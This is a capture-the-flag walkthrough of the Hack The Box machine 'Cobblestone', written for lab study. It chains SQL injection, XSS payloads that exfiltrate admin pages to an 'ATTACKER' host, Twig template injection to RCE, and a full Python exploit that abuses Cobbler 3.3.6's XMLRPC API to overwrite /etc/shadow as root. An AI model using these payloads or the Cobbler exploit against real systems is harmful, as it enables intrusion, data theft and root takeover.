Skip to content
Kondred0x1
Back to writeups

Cobblestone

Cobblestone
Insane
Linux

Reconnaissance

Port Scan

Nmap reveals a minimal Linux attack surface:

  • 22/tcp - OpenSSH 9.2p1 (Debian 12)
  • 80/tcp - Apache 2.4.62 (Debian), redirects to cobblestone.htb

Web Enumeration

The main site is a Minecraft server web portal (template by Billy - bybilly.uk). Further enumeration reveals three virtual hosts:

VhostDescription
cobblestone.htbMain site - skins panel (/skins.php), file download (/download.php)
vote.cobblestone.htbVoting/suggestion form - SQL Injection
deploy.cobblestone.htb"Still under development"

The skins panel has a login form, and after logging in it's possible to "suggest" skins.


Initial Access - SQL Injection → XSS → SSTI → RCE

SQL Injection - vote.cobblestone.htb

The url parameter in POST /suggest.php is vulnerable to SQL injection (UNION, boolean-based, time-based). The backend is MariaDB.

sqlmap -r req.txt

The voteuser DB account has the FILE privilege, enabling arbitrary file reads via LOAD_FILE().

Source Code Leak via LOAD_FILE

Key findings from reading PHP source code through SQL injection:

  • /var/www/html/db/connection.php - DB credentials: dbuser:aichooDeeYanaekungei9rogi0eMuo2o
  • /var/www/html/skins.php - Uses Twig templates; admin panel has upload, user management, and preview_banner.php which renders user input through Twig
  • /var/www/html/download.php - Protected against path traversal (basename() + realpath())

Stored XSS → Admin Panel Exfiltration

The "Suggest Skin" form's URL field is not escaped in the admin's Twig template. An admin bot periodically reviews suggestions, but cookies are HttpOnly - so we use XSS to exfiltrate the admin panel PHP instead:

"><img src=x onerror="fetch('/skins.php').then(r=>r.text()).then(t=>fetch('http://ATTACKER/',{method:'POST',body:t}))">

"><img src=x onerror="fetch('/skins_app_admin_server_info.php').then(r=>r.text()).then(t=>fetch('http://ATTACKER/',{method:'POST',body:t}))">

From the exfiltrated PHP we discover:

  • preview_banner.php - renders first POST parameter through Twig → SSTI!
  • skins_app_admin_server_info.php - contains full phpinfo() output

phpinfo Leak → Session Hijack

The phpinfo page reveals:

  • PHP 8.2.29, disable_functions empty, open_basedir empty
  • session.cookie_httponly = On - confirms we can't steal cookies via JS
  • The admin bot's PHPSESSID is visible in the phpinfo output

Using the leaked PHPSESSID, we hijack the admin session directly.

SSTI → RCE as www-data

With the admin session, we confirm SSTI in preview_banner.php:

# Confirm SSTI

curl -b "PHPSESSID=<admin_session>" -X POST http://cobblestone.htb/preview_banner.php \

  -d "first={{7*7}}"

# Output: Welcome 49



# RCE

curl -b "PHPSESSID=<admin_session>" -X POST http://cobblestone.htb/preview_banner.php \

  -d "first={{['id']|filter('system')}}"

# Output: uid=33(www-data)

A reverse shell fails because AppArmor restricts www-data - denying bash, sh, python3, nc, perl. Only dash is allowed, plus read-only file access.

Database Dump → SSH Credentials

Using the SSTI webshell, we dump the cobblestone database with mysqldump:

mysqldump -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone
UserSHA-256 HashCracked
adminf4166d263...
cobble20cdc5073...iluvdannymorethanyouknow

User - SSH as cobble

ssh cobble@cobblestone.htb

# password: iluvdannymorethanyouknow

The user is in a chroot jail (ChrootDirectory /home/chroot_jail in sshd_config) with rbash, limited to only 6 binaries: cat, grep, ls, ps, rbash, ss.

user.txt is directly readable in the home directory.


Privilege Escalation - Cobbler XMLRPC API Abuse

Discovery

From the limited rbash shell, ss reveals Cobbler's XMLRPC API listening locally:

cobble@cobblestone:~$ ss -tlnp | grep 25151

LISTEN 0      5          127.0.0.1:25151      0.0.0.0:*

SSH Tunnel

Since the API only listens on localhost, we forward it through the SSH tunnel:

ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb -N

API Enumeration

After trying various credentials, the default cobbler:cobbler works. We enumerate the API to understand what's available:

#!/usr/bin/env python3

"""Cobbler XMLRPC API enumeration"""

import xmlrpc.client



s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')

token = s.login('cobbler', 'cobbler')

print(f"[+] Token: {token}")

print(f"[+] Version: {s.extended_version()}")

print(f"[+] User: {s.get_user_from_token(token)}")



# Collections

for col in ['distros', 'profiles', 'systems', 'repos', 'images']:

    items = getattr(s, f'get_{col}')(token)

    names = [i.get('name') for i in items] if items else []

    print(f"[+] {col}: {names}")



# Templates & snippets

print(f"[+] Templates: {s.get_autoinstall_templates(token)}")

print(f"[+] Snippets: {s.get_autoinstall_snippets(token)}")



# Test modify_setting

s.modify_setting("allow_dynamic_settings", True, token)

print("[+] allow_dynamic_settings set to True")
[+] Version: {'version': '3.3.6', 'builddate': 'Mon Sep 30 10:40:10 2024', ...}

[+] Templates: ['default.ks', 'esxi4-ks.cfg', 'sample.ks', ...]

[+] allow_dynamic_settings set to True

Key findings: Cobbler 3.3.6, modify_setting works, templates are writable, and generate_autoinstall can render Cheetah templates. Since cobblerd runs as root, template rendering executes as root.

System Enumeration via File Read

Python's built-in open() is available in Cheetah templates without imports - it bypasses the cheetah_import_whitelist. After creating a distro + profile (required for generate_autoinstall), we use this to read system files:

#!/usr/bin/env python3

"""Read arbitrary files via Cheetah open() builtin"""

import xmlrpc.client



s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')

token = s.login('cobbler', 'cobbler')

s.modify_setting("allow_dynamic_settings", True, token)



PROFILE = "rce_profile"



# Create distro + profile (one-time setup)

try:

    dh = s.new_distro(token)

    s.modify_distro(dh, "name", "rce_distro", token)

    s.modify_distro(dh, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)

    s.modify_distro(dh, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)

    s.save_distro(dh, token)

    ph = s.new_profile(token)

    s.modify_profile(ph, "name", PROFILE, token)

    s.modify_profile(ph, "distro", "rce_distro", token)

    s.save_profile(ph, token)

except: pass



# Read files

for path in ["/root/root.txt", "/etc/ssh/sshd_config", "/etc/shadow"]:

    tpl = f'#set $f = open("{path}")\n$f.read()\n'

    s.write_autoinstall_template("read.ks", tpl, token)

    ph = s.get_profile_handle(PROFILE, token)

    s.modify_profile(ph, "autoinstall", "read.ks", token)

    s.save_profile(ph, token)

    result = s.generate_autoinstall(PROFILE).strip()

    print(f"=== {path} ===")

    print(result)

    print()

/etc/ssh/sshd_config reveals:

PermitRootLogin yes

PubkeyAuthentication no

PasswordAuthentication yes



Match User cobble

        ChrootDirectory /home/chroot_jail
  • PubkeyAuthentication no - writing SSH keys won't work
  • PermitRootLogin yes + PasswordAuthentication yes - root can SSH with password
  • ChrootDirectory /home/chroot_jail - confirms why cobble sees a restricted filesystem

/etc/shadow reveals yescrypt password hashes for both root and cobble. Since we know cobble's password and its corresponding hash, we can swap root's hash with cobble's.

Root Exploit

Full exploit:

#!/usr/bin/env python3

"""

Cobblestone HTB - Cobbler 3.3.6 Root Exploit

Requires SSH tunnel: ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb -N

"""

import xmlrpc.client

import sys



SERVER = "http://127.0.0.1:25151"

PROFILE = "rce_profile"



def cheetah_read(s, token, filepath):

    tpl = f'#set $f = open("{filepath}")\n$f.read()\n'

    s.write_autoinstall_template("exploit.ks", tpl, token)

    ph = s.get_profile_handle(PROFILE, token)

    s.modify_profile(ph, "autoinstall", "exploit.ks", token)

    s.save_profile(ph, token)

    return s.generate_autoinstall(PROFILE).strip()



def cheetah_write(s, token, filepath, content):

    tpl = (

        f'#set $f = open("{filepath}", "w")\n'

        f'#set $_ = $f.write("""{content}""")\n'

        f'#set $_ = $f.close()\ndone\n'

    )

    s.write_autoinstall_template("exploit.ks", tpl, token)

    ph = s.get_profile_handle(PROFILE, token)

    s.modify_profile(ph, "autoinstall", "exploit.ks", token)

    s.save_profile(ph, token)

    return s.generate_autoinstall(PROFILE).strip()



s = xmlrpc.client.ServerProxy(SERVER)

token = s.login("cobbler", "cobbler")

print(f"[+] Token: {token}")

print(f"[+] Version: {s.extended_version()['version']}")



# Enable dynamic settings + create distro/profile

s.modify_setting("allow_dynamic_settings", True, token)

try:

    dh = s.new_distro(token)

    s.modify_distro(dh, "name", "rce_distro", token)

    s.modify_distro(dh, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)

    s.modify_distro(dh, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)

    s.save_distro(dh, token)

    ph = s.new_profile(token)

    s.modify_profile(ph, "name", PROFILE, token)

    s.modify_profile(ph, "distro", "rce_distro", token)

    s.save_profile(ph, token)

except: pass



# Read root flag

flag = cheetah_read(s, token, "/root/root.txt")

print(f"[+] Root flag: {flag}")



# Read /etc/shadow and swap root hash with cobble's

shadow = cheetah_read(s, token, "/etc/shadow")

root_hash = [l.split(":")[1] for l in shadow.split("\n") if l.startswith("root:")][0]

cobble_hash = [l.split(":")[1] for l in shadow.split("\n") if l.startswith("cobble:")][0]

new_shadow = shadow.replace(root_hash, cobble_hash, 1)



result = cheetah_write(s, token, "/etc/shadow", new_shadow)

print(f"[+] Shadow swap: {result}")

print(f"[+] SSH as root: ssh root@cobblestone.htb (password: iluvdannymorethanyouknow)")
ssh root@cobblestone.htb

# password: iluvdannymorethanyouknow

Attack Chain Summary

Port 80 (cobblestone.htb)

  

  ├─ vote.cobblestone.htb: SQL Injection (UNION + FILE priv)

    └─ LOAD_FILE  source code leak (connection.php, skins.php)

  

  ├─ Stored XSS in skin suggestion  exfiltrate admin panel HTML

    └─ Discover preview_banner.php (SSTI) + phpinfo (session leak)

  

  ├─ phpinfo  admin bot PHPSESSID  session hijack

  

  ├─ SSTI in preview_banner.php  RCE as www-data

    └─ AppArmor restricts shells, but mysqldump works

       └─ DB dump  cobble:iluvdannymorethanyouknow (SHA-256 crack)

  

  ├─ SSH as cobble (rbash + chroot jail)  user.txt

  

  └─ Cobbler 3.3.6 XMLRPC API (127.0.0.1:25151)

     ├─ Default creds: cobbler:cobbler

     ├─ modify_setting  allow_dynamic_settings

     ├─ Cheetah template open()  arbitrary file read/write as root

     └─ /etc/shadow password hash swap  SSH as root  root.txt

Key Takeaways

  1. SQL Injection to source code leak - FILE privilege in MariaDB enables LOAD_FILE() for reading arbitrary server files, turning blind SQLi into full source code analysis
  2. XSS → SSTI chaining - When cookies are HttpOnly, XSS can still exfiltrate page content to discover server-side vulnerabilities like SSTI in admin-only features
  3. phpinfo session leak - phpinfo() pages expose active session IDs, enabling direct session hijacking even when cookies can't be stolen through JavaScript
  4. AppArmor bypass - While AppArmor blocked common shells and tools for www-data, mysqldump was allowed, enabling credential extraction through a different path
  5. Cobbler default credentials - The XMLRPC API accepted cobbler:cobbler, providing authenticated access to a service running as root
  6. Cheetah template engine abuse - Python's built-in open() function is not restricted by Cobbler's cheetah_import_whitelist, providing arbitrary file read/write through template rendering
  7. Password hash swap - When SSH key authentication is disabled, modifying /etc/shadow to replace root's password hash with a known hash provides an alternative path to root shell
Hack The Box Achievement